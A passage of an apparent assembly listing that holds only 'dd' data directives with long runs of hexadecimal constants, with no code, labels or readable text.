0C6293B5Fh, 0E066074Dh dd 0A0DEFE5Eh, 8DB80A2Ch, 0ECA4F101h, 35FA51BEh, 13F4DD8h dd 0D301869Fh, 0C85D5E48h, 0B039B1Bh, 8397CC03h, 0BDB3F84Ah dd 4D924C2Eh, 0A80A5C00h, 0F39ADC31h, 6E6A3Dh, 0D48A6CAh dd 7468632Fh, 95DB004Eh, 821CFDB7h, 100108Bh, 4F35F8AFh dd 0D732A3h, 0BB7A5821h, 0A74271BAh, 4C00DA7Dh, 1F7BACE2h dd 8DC12Eh, 283949C5h, 0BE8CC223h, 0E79F1A00h, 784FB169h dd 3086EA2Fh, 4139F3D6h, 23013ABBh, 2D7A42F4h, 60BB7404h dd 0A861FD80h, 15B9ABDFh, 0CFD65B00h, 96F9C583h, 0BB2EC0AFh dd 0B8741D2Dh, 8EBE980Ch, 3162086Bh, 6A20EC4Eh, 0D03CF090h dd 0D3714A7Ch, 58056800h, 0D45DA4A5h, 0FBDE00D2h, 3B2DBF64h dd 0B3E6CD75h, 0EE0AD600h, 0EC02A477h, 0C3F93A7Ah, 823A6F86h dd 0EB0131BEh, 6C0419FDh, 0B08078D0h, 5137B8C3h, 0D106D4D3h dd 77D660A9h, 4B4A0059h, 0F271FCF1h, 822E8C6Ah, 5026A152h dd 74B74300h, 610A14h, 49719AA5h, 7363A375h, 0E5003B98h dd 0E68A7E24h, 9439079h, 13C39334h, 0F0463B07h, 0E71B3B4Fh dd 40FDF7Fh, 60E9279Eh, 82CA3EB5h, 8DE69Fh, 0D014D52Eh dd 4DC1DCF9h, 0DB00FE76h, 179A8A7Ah, 40AD25h, 0BE958DCBh dd 0E0CD7BBAh, 1C64B33Bh, 7700F1D4h, 0F9DDEEBFh, 20513AD5h dd 9B85ABB8h, 800FD707h, 0BE1D4FCDh, 75DCD850h, 0B6FE1C0Ah dd 180E479h, 0E5608FCEh, 411B172Ch, 0B8D10013h, 994D9E02h dd 0BBA1F70Bh, 310FACh, 0B5661E61h, 0F8780015h, 354AAB7Eh dd 0BE34AD9Ah, 0FC105083h, 0FE63E004h, 1FD57CC2h, 8074BD9Ah dd 27EAE341h, 0CC00FF20h, 19E1447Dh, 36DA863h, 379CAB95h dd 28217984h, 588C08D6h, 226C22BBh, 6222D6A0h, 5E102220h dd 0ED11F042h, 28AE2838h, 74897378h, 1A442B08h, 282640DAh dd 90CEF30Ah, 4D039070h, 0A8999AA4h, 7A8CE6C7h, 5E8426B6h dd 0C0A203F6h, 0F6A0F830h, 0C800EA45h, 5C36CEB5h, 7EAC0CE1h dd 2BB80096h, 8C9D1F43h, 0F77E9256h, 7FC24Ch, 7F05912Ah dd 76AA75C5h, 685C00BFh, 0C294658h, 4A02CFB7h, 37B1BC74h dd 6868055h, 2B707Dh, 0C4B6105Ch, 2C1B65D2h, 0BA036974h dd 225AF7DAh, 1EDB9Ch, 36BD8670h, 750E1DD2h, 0A06E540Eh dd 0DD7C018h, 43CE25h, 0DFBAA5C5h, 0C0796C6Ah, 46369F24h dd 57B15F00h, 0F532D9h, 267D13A6h, 1D129ADFh, 8A480F00h dd 63D96449h, 0C0A13E81h, 92031900h, 6FD36193h, 76C4F00h dd 464B2CDEh, 1EC00B3h, 287AEEB0h, 0F30072AAh, 0D34DFA41h dd 0AF646Ah, 0D545B525h, 8684E020h, 3E0023E4h, 5ED6A40Ch dd 48229E27h, 0F90030E9h, 0F9DAEE8h, 6630E4A3h, 59B2B868h dd 847700E2h, 0E0E5C404h, 1F0038D9h, 91BE3DFh, 7218601h dd 0B54AF094h, 0C511003Dh, 0B2002FBDh, 0A09B90FAh, 5894B7h dd 79C1248Ch, 0A35A093Ah, 3B62441Ch, 94B48D40h, 37EF783h dd 7274DB21h, 0F8D8551Bh, 0FB001286h, 62631DA4h, 0DBF38Fh dd 0FEE98A24h, 0B0594C58h, 3AA36A03h, 0F8A0F0F7h, 9104F9h dd 0FF451186h, 99A6D18h, 694DED00h, 90A1A0D5h, 0CEDD0082h dd 6162B756h, 0B00F02D0h, 246BBA6Ch, 1AE81B3h, 5364906Bh dd 0F668E0A3h, 3F0004FCh, 85AD313Ah, 4EF555h, 1D8D8A91h dd 932B6E58h, 47882500h, 7CCDB02h, 1AEE30E2h, 0A5629568h dd 0F7C490Eh, 0E4D3E020h, 0EA21E9h, 0E30323BCh, 1C6DCF74h dd 809F0600h, 19A1E454h, 902FF6C4h, 0E211006Eh, 987D6B2Bh dd 0E8006990h, 2D519F71h, 578246Eh, 15200ED4h, 0CCC0C0C7h dd 6F0A4EB8h, 0C583A155h, 0E074330Fh, 5EDE9B53h, 23560620h dd 0C086E1A9h, 5C322200h, 0BF2C55FDh, 0E47DFC6Ch, 6B710005h dd 96E260AAh, 0FA0E3235h, 60206782h, 0C1EEA924h, 51D73A6Ah dd 0E0575B81h, 406393F6h, 0B3F4EFA8h, 0D5A72D1Dh, 7D094AC0h dd 3983D6h, 0A473A6DCh, 2C58638Fh, 852B7A00h, 6B41D7E1h dd 8CF400FBh, 0C9205FEDh, 280A9E88h, 8F620639h, 0A51E2900h dd 6AC357h, 1A40AF5Eh, 1F137B05h, 0FB262000h, 70EFA5CAh dd 561E0091h, 0AD8BACDh, 5E3F817Ch, 0E9A700D3h, 64778FC5h dd 13ACE21Fh, 14F9EDEh, 0CE31E67Ah, 0D5D1FC1Ch, 137A3A00h dd 0EAC16F6Bh, 24960002h, 78CA5666h, 1628A248h, 0E00D86Ah dd 9E5DA5DBh, 867C92h, 34BA7098h, 0A0366875h, 0BD4E2E1Ch dd 9DD96245h, 174C3CC0h, 0DCE000F6h, 5555E7Ch, 2A00B608h dd 4B239F3Eh, 3830E29h, 3A24633h, 7DF04C64h, 3B00118Ch dd 7A47782Dh, 0FBABCEh, 96E463E2h, 0B8188D0h, 94055BE8h dd 7DC62FB4h, 51BC400h, 0CDB165h, 4693CFD1h, 7CF99D59h dd 126CFD16h, 6895EF00h, 5136FFh, 0F1E2429h, 0D9905098h dd 9973F600h, 0A1C24785h dd 174B0A67h, 2C41151h, 68CF2BE1h, 0F7706719h, 0C3A70269h dd 5FCCE547h, 0F2D0A40h, 90542C00h, 8901E2C7h, 82DC14AFh dd 7F8451h, 1F4AE342h, 9231D804h, 0A2E68E70h, 25D30201h dd 939CB648h, 0F7281080h, 0AE40CCCDh, 0B008B200h, 1F074D6Eh dd 1BD60055h, 3F77A3C8h, 752C2E7Ah, 6500C54Eh, 0C4F70B0h dd 1E270093h, 2FA34AAAh, 0D3003528h, 32F46F0Fh, 942D5h dd 71F5A85Bh, 74E0068Ah, 0F22E5600h, 1D15FB18h, 6CCD26C3h dd 12EA0018h, 0DA1B7E14h, 0FF1CA800h, 0F33E9C43h, 0B60C01CFh dd 0D75EE263h, 7FCB3057h, 1EEA2B01h, 53110D03h, 5FFDB8C5h dd 850AE0h, 8D9CA620h, 6D33784h, 2A26C87Ah, 0CC003F66h dd 6C0EA0E2h, 70C40088h, 14B5FFBCh, 9900ABB4h, 9A06F3D9h dd 5F465C3h, 0D05BC694h, 8780ABB2h, 1D7BD70h, 9A0ADC16h dd 0DC1E9E68h, 0C17631F6h, 0B1F70800h, 0B063C60Bh, 689300F8h dd 610602D4h, 8500DF30h, 3484A37Bh, 6353235Eh, 0B0B9F811h dd 0A7FB14E8h, 9E918A3Eh, 2249DB89h, 0A43C80D3h, 4C37C236h dd 0F400943Eh, 0A9035B91h, 937EE815h, 290165F8h, 8346E086h dd 79F8052Eh, 8B393DD7h, 0F8A52781h, 200D9504h, 0B000BC74h dd 0A1A8CC90h, 551609h, 13256F39h, 0DCD64ECBh, 0AB17B0C0h dd 2CF6D6Eh, 8699AF5Fh, 9880A01Bh, 0B2F56C60h, 0FF9EF400h dd 0BB3B328Ch, 9BE3F74Bh, 0AF90D83Ch, 0D49B0030h, 47431715h dd 75174621h, 5D004C86h, 0B7668D94h, 0CFF0A9h, 3F1EAFB1h dd 9751F4B4h, 5C00BC71h, 47A77641h, 0FE1DD6AEh, 0EAA138D4h dd 4C7FF4h, 2BF2A538h, 0EFADB7EBh, 9B506000h, 1F8E533Bh dd 36900A8Fh, 98178Ah, 9415C3CBh, 0AD05293Dh, 0F6B35FD4h dd 6EB85090h, 0BDACFAA7h, 0C02620F8h, 0F20078AFh, 1E424144h dd 0E1F5AB9h, 88425BF2h, 9080D358h, 22688724h, 3B69401Eh dd 441E112h, 0FBB56C51h, 1CC49C34h, 0C19B7AF8h, 6E0B1F0Fh dd 7D80F0C3h, 0D58FA300h, 21E02E88h, 5079004Bh, 0C056A93Dh dd 0A800F095h, 0D15A593Bh, 0FE46E82Eh, 68D30034h, 0A4EAE663h dd 0EE130AB8h, 5A009C8Fh, 8884F9Ah, 1B92009Bh, 0C7898EF8h dd 50E68E3h, 601EA42Ah, 5A863AF4h, 182E0003h, 0B409D23Bh dd 0FB7A3352h, 840028ECh, 0BB9BC9Ah, 0DF7393h, 9478EA2Ah dd 0FC0755B8h, 9775ED00h, 0E7CF9AD4h, 0DE410EA3h, 82007379h dd 13FB6CA6h, 0C5CEACA0h, 6DCA1A00h, 0E2398C68h, 0E8C000FFh dd 554DC3E4h, 423AEE16h, 27968003h, 2FB6365Bh, 0CD891494h dd 7900F61Ch, 0E1266428h, 4A245DFCh, 2280E410h, 0C460E9ECh dd 1C7E5D54h, 8BE16401h, 20CB91CAh, 0C12E2B4h, 5EB3367h dd 1DD0F2h, 4FEEBCCh, 1C152138h, 58D05915h, 1E3D0018h dd 0B70FAFCFh, 0AA63002Ch, 0FAEF6E0Eh, 8D07ACCEh, 1740EAA8h dd 0E8AF87D0h, 449903C8h, 0FD1BFB82h, 41270F8h, 8DA03E60h dd 4CC642h, 0FB322381h, 0E48AB727h, 0B8B52500h, 539DC25Dh dd 482F004Eh, 0D6B00921h, 133E9A75h, 0DCAE1ED1h, 0CFC338C0h dd 0F4068FF1h, 0B80F07CEh, 70B319F6h, 737CDE4Ah, 0D821C318h dd 9C83F1h, 145209E4h, 338A15E7h, 28034A00h, 45892156h dd 86E0194h, 0E996863h, 2FEBD405h, 9AF77603h, 0B32A32F8h dd 0D0D9B335h, 3AA33B19h, 2880150Ch, 0E53A93BDh, 0CCF8A126h dd 21101801h, 5F99FE23h, 8E7FC8h, 0E94AC0B1h, 0B2F77B0Dh dd 986239h, 8DF2C44Dh, 0B5ED10h, 76BC4ABEh, 0FFAE645Eh dd 34D62600h, 443927DCh, 61BF2C1Fh, 7080016h, 82875E21h dd 2F2BD14Ch, 0E1F46Eh, 3F47B3Fh, 55003C9Fh, 0D393C85Ah dd 3CFD212h, 0F35D63D1h, 46E8E08Eh, 560786DDh, 35FD8F4Eh dd 2F1F2DF0h, 0EDBD00ACh, 0A93332E5h, 0D00F448h, 394EAA0Bh dd 3BD2377Eh, 0F1038527h, 204DF3DFh, 5FA043D8h, 0ACB83A05h dd 2D819049h, 2180FE65h, 0D7C22E6h, 44E030D9h, 0C3BB910Eh dd 0BF316ED0h, 0B17032C0h, 1372AEEh, 2D9325CCh, 606B3477h dd 0A28A32Ch, 7100A819h, 8B65C833h, 3CA54CEBh, 0DB502DE1h dd 8E070019h, 70F69104h, 2B000206h, 0D1638A9Bh, 9FE33F2h dd 0EFBC54FCh, 4B858A80h, 0CA3AED5Eh, 7C038ACh, 8150ADE3h dd 693688D0h, 1EF50360h, 58CE5E2h, 0BD66B3C8h, 0E1F29901h dd 7EDF80A5h, 4A5A6180h, 4B19CBB4h, 88AE2780h, 9F000972h dd 8E523ED9h, 513310h, 1731F823h, 543B92A5h, 6BEF1100h dd 0D83EAFEDh, 0C84600D6h, 4B501244h, 0D212957Bh, 204059DBh dd 7DBB921Bh, 7DD07628h, 0BC45007Ch, 8B36DD3h, 0B51FD74Bh dd 0CD969EF0h, 90778706h, 0CFA50038h, 811F7B37h, 75002D86h dd 0E1DCB1B3h, 743BB7h, 0AC56367Ch, 481F2E53h, 64E84307h dd 5EB04EF5h, 0BE8B88h, 0D828EF8Eh, 0B45B650Dh, 0BB367200h dd 3C568775h, 7F380AB1h, 0B88B82h, 0EBEEFE54h, 7200B81Bh dd 0EABCF557h, 0A8229Ch, 97FD58CEh, 0C9FEBA59h, 2E376B3Fh dd 6400910Ch, 1EA5EBB5h, 2834E896h, 0BA484EFh, 4D73DDFDh dd 0D699B401h, 0C2FB60D3h, 0ECDAA309h, 0DCAC238Dh, 4DAD8875h dd 0E180060h, 3EF20A26h, 0AAECF7CCh, 640CD100h, 0AC6E7D9Bh dd 1912001Ah, 3B8FE8E4h, 8101C23Eh, 0A7E1680Fh, 40EAB007h dd 0BBCFFD4h, 1D14BE78h, 94E18E60h, 0C77A3707h, 11210739h dd 98439A95h, 0E661C081h, 0FC6B02A1h, 0D57C2A70h, 3F5E9080h dd 1503065Dh, 0C39481ACh, 0F71800D6h, 0EE540905h, 521C21A9h dd 55810CEDh, 0CD81A7AEh, 489A40D0h, 9021541h, 0EB114CC9h dd 71BFC077h, 4FF100B6h, 40A0106Ah, 9002E7Dh, 228E8044h dd 319493h, 39F9616h, 3728553Dh, 9AF6330Fh, 0E0040FC1h dd 90B988BEh, 0C0F16084h, 0CF41854h, 812FC33Ah, 22CBCAE7h dd 23CCBC80h, 0DE570074h, 6631E865h, 4E00F9CFh, 2069F0AFh dd 6A068F5h, 18500230h, 7400A05Ch, 36EB736Eh, 98DFF7h dd 528A9A8Dh, 87B76D5h, 342B48h, 0FF95B131h, 17D6703h dd 93815A21h, 0DBE53557h, 622404E8h, 7016939h, 63A09D2Ah dd 0ADBD8E80h, 0FDB50039h, 0F57D825Fh, 0E70FBB02h, 0A0D63E4Fh dd 92F7C2E5h, 0BC2B03EDh, 0FAA326CEh, 0B7734BB8h, 0F6FF0900h dd 0E7B65D87h, 7DDE002Eh, 0D85A83A0h, 7C011CBAh, 0A2C78425h dd 0E9ECFB3Dh, 0C00400CEh, 0C17A16DCh, 760003B7h, 2BC2B9A9h dd 18DDF6Bh, 0BBDBFB5Fh, 0EC56F988h, 4300EB50h, 0A51134B8h dd 0F5922E8h, 0D3C32BDh, 27A82440h, 0A3095E08h, 80E30A5Ah dd 0A2BFB05Dh, 59FD1D4Ah, 7518414Dh, 0F0E4E514h, 160099F9h dd 3C5415DFh, 6142CEh, 881E32C3h, 4E17D35h, 8AC5FD0Ah dd 4B0FC05Dh, 0AF2F8009h, 1D86A723h, 0C0BEDB96h, 0DC050A7Eh dd 0B8001F7Fh, 9E24A697h, 2F998DFFh, 1754AC95h, 3776843Dh dd 4B87AAA4h, 1679C8D0h, 0C89B4856h, 3869FB0Fh, 4C6CDA03h dd 37891000h, 0D65BFA60h, 80C56F03h, 57834D80h, 0BE397BD9h dd 1CBA7Fh, 274EE4A3h, 0F87C75B4h, 183554CCh, 7B591821h dd 64F5186Ch, 4D2DE40h, 79DA3FDh, 388BC6BAh, 791FEA07h dd 90A04917h, 0C0E8193Ah, 78FA6F89h, 0C4429AD6h, 73409820h dd 8B8F009Bh, 0D16DE75Dh, 33001F02h, 5FF1C01Dh, 9F56DEh dd 0EA10254Fh, 0FF60FDE0h, 58C2B03Ch, 0F38C00EEh, 3552846h dd 64E0000Ch, 0D8D042D7h, 573E50ECh, 1DA4BA9Ch, 3780B554h dd 0DA99EEBBh, 969B1886h, 0B27291D3h, 0FA841601h, 535A2B19h dd 0E07E0998h, 0B500925Eh dd 0CBAA3016h, 392F429Bh, 599506E3h, 0E00888Ch, 62C00BE8h dd 860048BEh, 0E522D83Ch, 5F24BDh, 0DD04AAD2h, 9B41189Ch dd 87BA7707h, 90CC40CBh, 58113088h, 81E63249h, 77B42D03h dd 0FFC347FDh, 0B8281750h, 1A3A3829h, 5E206BB0h, 9B148FD6h dd 0E120896Dh, 31828D0h, 596C4D18h, 79BD2D9h, 0C2E9D79h dd 6C6A189h, 77088C99h, 0C5204Ch, 0E5789D41h, 0B04D713Ch dd 51F29C04h, 5AC0E286h, 797CCFFh, 2EFF6C2h, 160D2032h dd 235DB4D1h, 0BE4B0428h, 38807A25h, 3257B944h, 0AA088C43h dd 0F01D8C49h, 7B31D07Ah, 6C16E0B5h, 5E7FC300h, 3BB0AD4Dh dd 6F283E8Dh, 842B01E9h, 65CCB614h, 0CCDE1D6Ch, 40337AB5h dd 14D8F121h, 23009449h, 4EC85558h, 31A6D8A9h, 0AA68100Ch dd 795E0068h, 84917459h, 81024146h, 7D84B514h, 0F2100131h dd 41031469h, 2800C6Ah, 0CC1900B3h, 0CD495DC0h, 0D00954B6h dd 15B57E1h, 0F944F1A0h, 0C209C052h, 7DC8308Fh, 0C2A119Dh dd 21D98CA9h, 9DA513C1h, 828F00E4h, 0F1DE2A5Fh, 21DF5130h dd 720D0806h, 6EAA0F9Ah, 0E4010427h, 0CA24D345h, 0A40CB8A1h dd 13405285h, 119D9430h, 88B10C29h, 9C80BC8Ah, 1E92B49Dh dd 650E7BA6h, 7A77596h, 805952E2h, 4EFB7C24h, 0F8DA00F1h dd 585F0FAEh, 0A3000704h, 0F41D164Ch, 4D255387h, 80908E5h dd 1830C8D1h, 7B717A29h, 18A6B498h, 1921C760h, 70E7A28h dd 8836CFDFh, 1BE3E0B3h, 0D6F0FB9Ah, 4ABF9B00h, 2D37587Dh dd 80C8A84Dh, 0AAD7C43h, 877916Fh, 8F465EBCh, 5189A139h dd 7C004775h, 6CC4C303h, 0AC8B7C07h, 0D9407FD6h, 0B875F3h dd 5BEA1EC8h, 1855110h, 0A600FBF6h, 139C6821h, 0C0B20580h dd 52ED1E99h, 28C96B89h, 83703h, 1E4C846Bh, 0E30F6A66h dd 86F133h, 8F5C65B2h, 6843495Eh, 0B3148B80h, 65438D84h dd 8C0E3D22h, 60C61413h, 0DBF5117Ah, 0EE280391h, 81CE5F49h dd 86DC7809h, 0FDA0B09Ch, 0FA890816h, 776437C1h, 16B49340h dd 8612F55Dh, 44415032h, 0F03AC2DEh, 0A5F11521h, 7A182848h dd 0C9FA2116h, 16AB94C0h, 2C64180Fh, 9C02B96Fh, 0BF6C0307h dd 0F1719006h, 45EC5692h, 825920E2h, 3D71D200h, 5D1DB2F9h dd 0A2EA02E0h, 848ABA10h, 8FE4C847h, 482D7E61h, 0A8014CE8h dd 0F709AB8Eh, 68FC3287h, 710C1464h, 65E89CBAh, 0CFC3508Ch dd 0C4575E0h, 7496C69Ah, 6AEA8821h, 0BFD80218h, 70CFE8h dd 485FFAFBh, 0B0381AF5h, 5857E600h, 0B2DEFE01h, 69E80761h dd 5016147Dh, 5C0A597Fh, 42117C99h, 0FC148680h, 6543B584h dd 8B0E6822h, 4640146Eh, 917859h, 339D37FEh, 0DD6AB4F7h dd 2C00D8A4h, 0C1DE94D3h, 4A6CD35h, 0C2D887DAh, 0B100C8D1h dd 7A2C028Ch, 0B93C7B7Eh, 1013CB19h, 0DD4D7AC8h, 74F09A01h dd 4CDCFCB6h, 80CA4891h, 7B817A3Fh, 0C03CB134h, 3D7A361Fh dd 0C852F12Ah, 0C213E9F8h, 905F4EDEh, 36D58606h, 0C43085A9h dd 884263A9h, 2A6C020Ch, 15888068h, 0A4570179h, 0B7E0EE01h dd 70FB1F59h, 19C04C78h, 2CAB0BCBh, 0FC80B235h, 3A5A10CDh dd 23B50D4Dh, 0DD4089F4h, 1F39997Ch, 18D94C96h, 0DCD2C150h dd 5A8B7D0Ch, 0DF5975h, 0B928BF41h, 807185C1h, 0CB9D9500h dd 687CD18Dh, 66D63AA4h, 0DA6C1786h, 5CA14993h, 8FC1841h dd 0A9FA8216h, 384476C4h, 80E083CFh, 518C8884h, 9A5A4300h dd 11A6DE90h, 89DD0074h, 0D35F0B63h, 0F4016A07h, 31622399h dd 108006C7h, 9B0460B1h, 0F900870Bh, 0BF4D92D7h, 1DF57A71h dd 0C67F362Bh, 31A0C36Ch, 7E27192Dh, 3B01CBEh, 0B8BA0D10h dd 21340830h, 23761A4h, 484DC0DEh, 0D7E0EAD1h, 0A35C3B68h dd 5B8860FFh, 3D88CEh, 24ED5DD9h, 7A7D8CDDh, 0BDBE3B00h dd 9C15D639h, 910F3AD3h, 0C724D180h, 0A3B64D89h, 6D359400h dd 0A7738B1Ch, 2A8E03F1h, 1934232Dh, 62A500B7h, 11007BB8h dd 0D37CA655h, 708F096h, 7845751h, 76D010C6h, 0AD002A56h dd 0AE0111A5h, 7945821h, 120F9EF3h, 1CE5609Fh, 0CC0054DEh dd 0AC9BF024h, 9C69F1h, 23342742h, 0EA091548h, 631F9000h dd 0F3E3FAA7h, 642E00A4h, 5034E52h, 5897D61Ch, 78980016h dd 6AA7844Ah, 0BC00C9E4h, 70A3B74Ch, 0EB85D1h, 3C47836Fh dd 5179D0CEh, 64ECFC01h, 4E95B4B1h, 605203E0h, 0BDB5C166h dd 20008F6Bh, 0E9997F89h, 7C7450DCh, 0D23300ADh, 0AE533573h dd 55792E52h, 0BE5F230Ch, 39078010h, 1C0AA6BCh, 7A072FDh dd 0B02CA97Dh, 0A898DADBh, 811AAE60h, 1C06E9h, 33B217ACh dd 16AF0287h, 91407C00h, 72F11E05h, 0A5843988h, 3D4EF00h dd 0A1C4E97Ah, 86EEBC00h, 536B057Ch, 18A0A8D7h, 49C70013h dd 2F6DB81Ch, 830C557Ah, 40801604h, 0F1F603C2h, 7F2E9184h dd 146A8588h, 8A8E5001h, 102596F5h, 0FB358050h, 3E280044h dd 8A1DEA3Dh, 0A0ABD5E7h, 367805E8h, 101FB98h, 6F732D18h dd 0C05033F4h, 72E47795h, 0C6F30F32h, 860704Dh, 0F558DF2Bh dd 0FA8F400h, 2C26EEBFh, 360418BAh, 6614400Bh, 0F6807600h dd 601A6C5h, 5BD8074Bh, 0CE75FAEFh, 3C3AC0BEh, 1F51CD9Bh dd 0F0FB3B14h, 0D1CC1CA0h, 0FE814158h, 19A0019h, 0C847FB45h dd 801F6393h, 0C0B02D91h, 0EE716F9Bh, 3507EBDh, 0C957B8BFh dd 0BE43F14h, 32448007h, 0EDCF8ACh, 8FD07E9Ah, 0E2DEDB03h dd 9D0F4003h, 90AAA010h, 5AE1A4h, 0A3745842h, 960868EFh dd 0AD0DD900h, 39D1BF97h, 89E53D0Ah, 0A9467A00h, 77484E53h dd 0B5272400h, 90F45EE9h, 528F3B1Dh, 3F941080h, 47CA0DDFh dd 5D97BB00h, 56C059BFh, 61E01C79h, 0FFECC087h, 1C07F1CEh dd 0F7CA880Eh, 0E33D40DCh, 0A0C60F86h, 0E845A0h, 53C7B351h dd 95D2D5E2h, 18B13C01h, 1769420Dh, 141430h, 0D19DC673h dd 0E9760583h, 5208D366h, 0B2CB021h, 0B8C781C6h, 39E19E80h dd 0E9737009h, 2F971400h, 0D669919Bh, 7A6A39D1h, 6CB0FF84h dd 9C68D8CAh, 2371373Eh, 6511C8h, 8A37C47Dh, 0FA2C97A1h dd 0D66E030Fh, 88F79642h, 0F54301C8h, 23161900h, 60A4E377h dd 6BE1431h, 0F7C88A6h, 0ADCF330Dh, 51B250F8h, 91B86001h dd 0D444DDD3h, 0BE22FCh, 701247ABh, 0B2B03986h, 1DF420C7h dd 0D0C7BAF1h, 0F311204Eh, 0D83A9247h, 8D076523h, 2F405374h dd 5CC283CEh, 0DF0412EFh, 0C385EE94h, 30A691CCh, 0ADBF0700h dd 96920B8Ah, 4432CC7h, 0F04F005Eh, 8C116115h, 0EE027B98h dd 3C94DCE5h, 0B4888164h, 4C48C66Ch, 75370898h, 33C4A8B0h dd 37607940h, 0F5713A90h, 270C1CB2h, 5089EC3Dh, 0C4A114B1h dd 331D84B9h, 1856988Ch, 40CAC25Ah, 465638B5h, 162A0120h dd 0A8F963EAh, 2419BF0h, 0A2F52554h, 3C444362h, 8DA3Dh dd 3AE9824Eh, 175E1h, 0BBE8B9D8h, 4B92FB89h, 0D4D1AC01h dd 140C6C40h, 14F740A4h, 0F501DAE7h, 0A4F7227Ah, 0E1F456BAh dd 0A18A212h, 0C6728060h, 0DBD123B4h, 29310318h, 3EC60989h dd 0E1031392h, 60A6CDA7h, 0D2BDC018h, 0E188A359h, 0B4901983h dd 90030951h, 9189F4ACh, 4A290177h, 0A3405B2Ch, 0EB62F81Fh dd 212109CCh, 5BC407AAh, 225A526Dh, 3080D190h, 0BF014746h dd 0A1ACC0C0h, 921424h, 9FFFDFD3h, 0E9FC8528h, 0A8EDCC00h dd 53C16D5Eh, 9899E0CFh, 750F1E4Ch, 728A8052h, 0C3315AAFh dd 42A7561Ch, 0FE90FA00h, 39896532h, 1603CA34h, 52D70E9Ah dd 60F4AB88h, 68FBA701h dd 0A2418F5Fh, 6949D8h, 0D26290FCh, 16BBF363h, 1D68E1Fh dd 9D2D4400h, 0FBE0ECh, 0BD0705Fh, 96B8204Eh, 32C00F00h dd 3DAD8544h, 55300BBh, 82845826h, 1D13C42Eh, 39009D1Ch dd 0FC1F632Ah, 27A40008h, 9B26A528h, 0E20732D9h, 31579751h dd 0A4E03797h, 3740D56h, 6205BDC2h, 6DC082D4h, 5A017281h dd 76BF2579h, 8BDCAC6Eh, 0B4DB2CDCh, 0B8C201E1h, 0D448510Dh dd 0CB38B1DFh, 24A28F63h, 318383B9h, 1B59184Dh, 55B808F2h dd 0C4C1AA00h, 0D2520E19h, 67763Bh, 1E8ABFCAh, 4C78137Dh dd 0C1BAB300h, 0B10F4FA3h, 7468C0B0h, 0F68A86F7h, 5A00F5F4h dd 8B7910A6h, 32E830Eh, 3CE7BB22h, 7A988C55h, 52001E68h dd 50E324AAh, 716A71DCh, 58D7002Dh, 0C2AF316h, 1E06A180h dd 95A3851h, 0F3500C0h, 0F8642984h, 3A035F92h, 1BB78E76h dd 0E275B808h, 0B20E006Ch, 85DC8CB1h, 0C30F3789h, 0A0CDB93Dh dd 0F552E4A2h, 0C2E8DDh, 8FD64374h, 6EBCA4DCh, 0AC008B7Eh dd 69CCA581h, 0CF530FDAh, 4942710h, 0BE1BB0BAh, 3410CED0h dd 0A919B520h, 3100EC6Eh, 0F3185C86h, 76254CC3h, 0A102031Bh dd 0B017356Ah, 8302921h, 1490C477h, 1A012D82h, 2230D402h dd 0D022C2C7h, 0E472203h, 28041825h, 0CC4C8B3Bh, 0AC038929h dd 28D1921Eh, 0CBC0ECECh, 689A26h, 6C8765Ch, 677B345Fh dd 8A094501h, 7F2C78D9h, 0D1CDE4h, 4D3BB8D7h, 3117C00Eh dd 8400A275h, 97F43F90h, 0BF656F2h, 80C96948h, 0FD608A0Eh dd 7EAB4ED7h, 44F54200h, 152B6BE1h, 0D17600A4h, 451A2507h dd 0EB733483h, 98F4DD0Eh, 0F30843FBh, 5C28E056h, 0A4CB002Bh dd 1A959112h, 5092FBF6h, 18337400h, 30AA669Ch, 0F29400F4h dd 1743E024h, 1072F008h, 75AE7607h, 42003991h, 0CAF3F53h dd 0CB370D48h, 0D9EA2EA9h, 157A080h, 5F0FB978h, 4020D2C7h dd 0F2B149F0h, 0D7B78309h, 0DDBC80F5h, 0C023145Dh, 9CA3D9E0h dd 530097FAh, 8D35C649h, 704CD7Ch, 0DCCE4FF1h, 0DA86107Ah dd 2E01E831h, 8BC155FCh, 4ECC301Bh, 0FF041E6Dh, 0C8E10FC7h dd 6A98001Ch, 0AB3F4AB7h, 0CE65800h, 25C48196h, 0E7130083h dd 3D4355E4h, 187C0BD5h, 0A59E0100h, 0D3A1C6ECh, 42DC035Fh dd 5D8FBA84h, 8331E1A8h, 1D97AA03h, 90A34419h, 0F4A76Ah dd 63D5FC84h, 8DD05512h, 1C315E01h, 0CFFDA9E1h, 7C2402D0h dd 0B52C00D1h, 6FDDE2AFh, 7400383Ah, 90980FFCh, 9092AE9Ch dd 0FDC50080h, 0B0ADDEA8h, 700AF4Ah, 64735F60h, 1FA3AC0Ch dd 0C054E1DBh, 0CC6E5599h, 0B6007982h, 0A6B02C19h, 24F4F8DDh dd 0E3BC031h, 0A3A0D1D2h, 0CADA1E0Eh, 742D8C00h, 5DC8D073h dd 71BC00CBh, 7EF650EBh, 26E6FCC0h, 930D9D28h, 9FD4933Dh dd 3A002203h, 98D88761h, 0C7FA0341h, 9905B548h, 0B181CBA8h dd 36E40C03h, 800E2A88h, 18ED2025h, 0CC6B0531h, 74E2FE95h dd 4C214D00h, 0EFB0DFC7h, 0ADE200E6h, 35E7904Bh, 0AE50150Ch dd 64005A80h, 0A15D8955h, 1988FF08h, 40092213h, 1620C072h dd 0E30058F4h, 25C8425Ch, 0FEFC3A4h, 0A6BCB4E7h, 97373DA0h dd 9800D9A9h, 52860B94h, 61AE2445h, 7642B9ABh, 36F20080h dd 83F70057h, 961BDFBCh, 0D800527Eh, 5D2A0D70h, 67C5D6h dd 9C55F709h, 7220BD06h, 0B700127Fh, 0DC754A9Ah, 0EE3F4h dd 0A14096A0h, 5DF54C3Fh, 0EC699F00h, 0BC558A2h, 7C2DF449h dd 0D8B20022h, 14D3C1DAh, 1A00E1C7h, 55E505AEh, 3DD081F4h dd 0ED0F7F4Fh, 0FB234A86h, 0DAB82B0Fh, 90A095ECh, 9872EE15h dd 38017D7Ch, 8F10163Fh, 0E0203603h, 9F2A0033h, 85483D04h dd 720EDCBEh, 0A549C629h, 7CC3F64Fh, 56D08024h, 8C620434h dd 801573B0h, 1DFB3A10h, 4D988h, 5A16CC29h, 300CF18Ah dd 0FA3C4F00h, 0D9C91085h, 0CA5162FEh, 2C608AAAh, 7A1D63C2h dd 0FDC4993Bh, 80D3CB24h, 0EF09E026h, 0C39B12A0h, 235000DFh dd 7D0F650Dh, 0BBEBA300h, 0B07664DAh, 0AF83004Dh, 2AB81712h dd 1D01BC0Dh, 5678CEA0h, 0AA307A27h, 45963DEEh, 0EF1C3080h dd 0EADA55AEh, 6D004F70h, 0C9985708h, 0F602B0h, 85DF8FCEh dd 21E7AB66h, 60035F7Bh, 90C8F092h, 0B13D9977h, 